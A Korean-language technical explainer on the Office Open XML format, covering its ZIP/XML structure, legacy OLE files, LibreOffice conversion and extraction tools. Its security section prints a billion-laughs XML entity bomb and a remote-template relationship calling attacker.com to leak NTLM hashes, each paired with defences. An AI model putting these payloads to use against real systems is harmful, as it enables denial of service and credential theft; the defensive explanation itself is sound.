02 · Office Open XML (OOXML)
이 문서가 답하는 질문:
.docx는 왜unzip으로 풀리는가? 레거시.doc과 무엇이 다른가? 서버에서 어떻게 변환하는가? MIME:application/vnd.openxmlformats-officedocument.*· 표준: ECMA-376, ISO/IEC 29500
한 줄 답 (Pyramid Top)
.docx/.xlsx/.pptx는 ZIP 컨테이너 안에 XML 파일들 — 이미지/스타일/콘텐츠가 디렉토리로 분리되어 있다. 레거시.doc/.xls/.ppt는 OLE 컴파운드 — 한 파일이 작은 파일시스템처럼 동작한다. 두 세계의 다리는 LibreOffice headless 한 줄이다.
Why — 왜 OOXML 로 갔는가
옛 세상 — OLE Compound File Binary (CFB)
1997년 Office 97 부터 .doc 은 Microsoft Compound File 포맷이었다.
한 파일이 마치 작은 FAT 파일시스템:
- 매직:
D0 CF 11 E0 A1 B1 1A E1 - 내부에 “Streams”(파일)와 “Storages”(폴더)
- 각 스트림은 바이너리 (사람이 못 읽음)
문제:
- 사양이 비공개 (1997~2008)
- 호환 구현이 사실상 불가능 → 벤더 락인
- EU / 정부 기관이 표준 강제 (ODF 채택 압력)
새 세상 — Office Open XML (2007~)
Microsoft 가 ECMA 에 제출 → 2006년 ECMA-376 → 2008년 ISO/IEC 29500.
핵심 결정 3가지:
- ZIP 컨테이너 — 파일을 디렉토리로 분리, 이미지는 PNG/JPEG 그대로.
- XML 콘텐츠 — 사람이 읽을 수 있고, XSD 로 검증 가능.
- Open Packaging Conventions (OPC) —
[Content_Types].xml+_rels/로 관계 표현.
이제 누구나 unzip 만 있으면 내부를 본다.
How — unzip -l 로 본 docx 내부
docx 한 개 풀어보기
$ cp report.docx report.zip
$ unzip -l report.zip
Archive: report.zip
Length Date Time Name
--------- ---------- ----- ----
1234 2026-05-10 10:00 [Content_Types].xml
590 2026-05-10 10:00 _rels/.rels
24567 2026-05-10 10:00 word/document.xml
3456 2026-05-10 10:00 word/styles.xml
890 2026-05-10 10:00 word/settings.xml
1234 2026-05-10 10:00 word/fontTable.xml
245678 2026-05-10 10:00 word/media/image1.png
12345 2026-05-10 10:00 word/media/image2.jpeg
567 2026-05-10 10:00 word/_rels/document.xml.rels
234 2026-05-10 10:00 docProps/core.xml
345 2026-05-10 10:00 docProps/app.xml
--------- -------
290140 11 files핵심 4 파일
| 경로 | 의미 |
|---|---|
[Content_Types].xml | 전체 파일의 MIME 매핑 |
_rels/.rels | 패키지 루트 → word/document.xml 가 메인이라는 선언 |
word/document.xml | 본문 콘텐츠 (단락·표·그림 참조) |
word/_rels/document.xml.rels | 본문에서 참조하는 이미지/외부 링크 매핑 |
콘텐츠 XML 의 모양
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body>
<w:p>
<w:pPr><w:pStyle w:val="Heading1"/></w:pPr>
<w:r>
<w:t>2026 Quarterly Report</w:t>
</w:r>
</w:p>
<w:p>
<w:r>
<w:drawing>
<wp:inline>
<a:blip r:embed="rId4"/> {/* 이미지 참조 */}
</wp:inline>
</w:drawing>
</w:r>
</w:p>
</w:body>
</w:document>r:embed="rId4" 는 _rels/document.xml.rels 의 Id="rId4" 를 찾아가고, 거기에 Target="media/image1.png" 가 적혀있다.
텍스트 / 스타일 / 이미지 / 관계 가 깨끗하게 분리된 4-레이어 모델.
xlsx 와 pptx 의 차이
| 포맷 | 메인 콘텐츠 | 특이점 |
|---|---|---|
| docx | word/document.xml | Heading1 같은 스타일 트리 |
| xlsx | xl/workbook.xml + xl/worksheets/sheet1.xml | shared strings 풀 (xl/sharedStrings.xml) |
| pptx | ppt/slides/slide1.xml, slide2.xml … | 슬라이드별 1 파일, 마스터 분리 |
xlsx 의 sharedStrings.xml 트릭: 같은 문자열 “총합”이 1000번 나오면 한 번만 저장하고 인덱스로 참조.
What — 변환 도구 / 추출 / 매크로
LibreOffice headless — 사실상의 표준 변환기
서버에서 docx → PDF, xlsx → CSV 변환의 기본 도구.
# docx → PDF
$ libreoffice --headless --convert-to pdf report.docx
convert /tmp/report.docx -> /tmp/report.pdf using filter : writer_pdf_Export
# xlsx → CSV (시트 1만)
$ libreoffice --headless --convert-to csv data.xlsx
# pptx → PNG (모든 슬라이드)
$ libreoffice --headless --convert-to png deck.pptx주의: 동시 호출 시 같은 프로파일 디렉토리를 잠근다.
--user-profile 로 격리:
libreoffice --headless \
-env:UserInstallation=file:///tmp/lo-$$ \
--convert-to pdf \
--outdir /tmp/out \
/tmp/in/report.docx텍스트 추출 — 가벼운 도구
| 도구 | 대상 | 비고 |
|---|---|---|
python-docx | docx 만 | 표/스타일 그대로 |
mammoth | docx → HTML/Markdown | 의미 보존 우수 |
openpyxl | xlsx | 셀 값 / 수식 |
pandas.read_excel | xlsx/xls | 데이터프레임 |
python-pptx | pptx | 슬라이드 단위 텍스트 |
| Apache Tika | 전부 | 자바, 메타데이터 + 본문 |
# Tika 한 번으로 메타 + 본문
$ tika --metadata report.docx
Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document
Application-Name: Microsoft Office Word
Author: Finance Team
Last-Modified: 2026-05-10T10:00:00Z
Page-Count: 12
Word-Count: 2847
$ tika --text report.docx | head -3
2026 Quarterly Report
Executive Summary
This quarter we observed...매크로 — VBA 는 OOXML 에서도 살아있다
.docm, .xlsm, .pptm 의 m = macro-enabled.
ZIP 안에 vbaProject.bin 추가됨.
$ unzip -l invoice.xlsm | grep vba
45678 2026-05-10 10:00 xl/vbaProject.bin ← 위험 신호대응: 업로드 시 .docm/.xlsm/.pptm 거부, 또는 vbaProject.bin 검출 시 격리.
OLE 레거시 — 만나면 변환
.doc / .xls / .ppt 는 매직만 봐도 식별:
$ xxd legacy.doc | head -1
00000000: d0cf 11e0 a1b1 1ae1 0000 0000 0000 0000 ................이 매직은 .doc 만이 아니라 .msi, .msg (Outlook), .xls, .ppt 모두 공유 → 확장자/내용 추가 검사 필요.
What-if — 잘못 다루면
1) docx 라고 받았는데 OLE .doc
업로드 검증을 확장자로만 하면 OLE .doc 가 통과.
대응: 매직 검사 (PK\x03\x04 vs D0 CF 11 E0).
2) ZIP 안의 XML billion-laughs
OOXML 도 결국 XML — 외부 엔티티 / 재귀 엔티티 폭탄 가능:
<!DOCTYPE x [
<!ENTITY a "x">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
... 10번 더
]>
<doc>&j;</doc> {/* 10^10 글자 */}대응: XML 파서에서 외부 엔티티 비활성 (disable_entities=True), 깊이 한계.
3) 외부 링크 / 원격 템플릿
docx 의 _rels/document.xml.rels 에 TargetMode="External" 로 원격 템플릿:
<Relationship Id="rId99" Type=".../attachedTemplate"
Target="https://attacker.com/template.dotx"
TargetMode="External"/>Word 가 열 때 자동 fetch → SMB/HTTP NTLM 해시 유출.
대응: 업로드된 docx 의 _rels 파일에서 TargetMode="External" 검출.
4) LibreOffice 동시 실행 락
--user-profile 분리 안 하면 두 번째 호출이 무한 대기.
프로덕션은 컨테이너 + 프로파일 디렉토리 격리.
5) 한글 폰트 미설치
서버에서 docx → PDF 변환 시 한글 폰트가 없으면 □□□.
대응: 컨테이너 이미지에 fonts-noto-cjk 등 한국어 폰트 패키지 포함.
6) Excel 의 자동 형변환
"01234" 가 숫자 1234 로 변환 (앞의 0 손실), "1/2" 가 날짜 1월 2일.
대응: openpyxl 등으로 텍스트 모드로 읽고 검증.
Insight — 흥미로운 이야기
“OOXML 표준화는 ISO 역사상 가장 시끄러운 표결”
2007년 ISO 표준 표결에서 OOXML 이 부결되자 Microsoft 가 6개월 안에 6,000+ 페이지 사양을 수정. 노르웨이 / 영국 표준 기관이 절차 항의 → 일부 국가가 찬성표를 회수 → 그래도 통과. 결과: ISO/IEC 29500 은 통과했지만 “표준화 절차의 신뢰가 깨졌다” 는 평가.
“docx 가 빠르게 퍼진 진짜 이유”
표준 때문이 아니라 이메일 첨부 크기 때문. 같은 문서가
.doc1.2MB →.docx250KB (이미지가 PNG 그대로 압축, 텍스트가 ZIP 압축). 메일 첨부 한도(10MB)를 자주 초과하던 사용자가 자발적으로 변환 → 보급 가속.
“OLE Compound 는 사실상 작은 NTFS”
Microsoft 가 1992년 만든 Compound File 은 FAT 기반 미니 파일시스템. 헤더에 sector size, FAT chain, mini-stream pool 까지 있음. “한 파일을 파일시스템처럼” — 이 패턴은 나중에 OneNote
.one, Outlook.pst에 그대로 재사용.
“왜 ECMA-376 와 ISO/IEC 29500 둘이 있는가”
ECMA-376 은 Microsoft 의 Office 호환 사양 (Transitional). ISO/IEC 29500 은 그것을 정제한 Strict 모드 — 일부 레거시 기능 제거. 실제 Office 가 저장하는 것은 99.9% Transitional. Strict 는 표준의 이상이고 현실은 Transitional.
요약 + Mermaid
OOXML 은 ZIP + XML + 관계 그래프(OPC) — 누구나
unzip으로 풀어볼 수 있다. 레거시 OLE 는 한 파일 안의 미니 파일시스템 — 사양 비공개 시기를 거쳐 OOXML 로 대체되는 중. 서버 측 변환의 사실상 표준은 LibreOffice headless, 가벼운 추출은 Tika / mammoth / openpyxl. 매크로(.docm)와 외부 링크는 보안 검토 필수.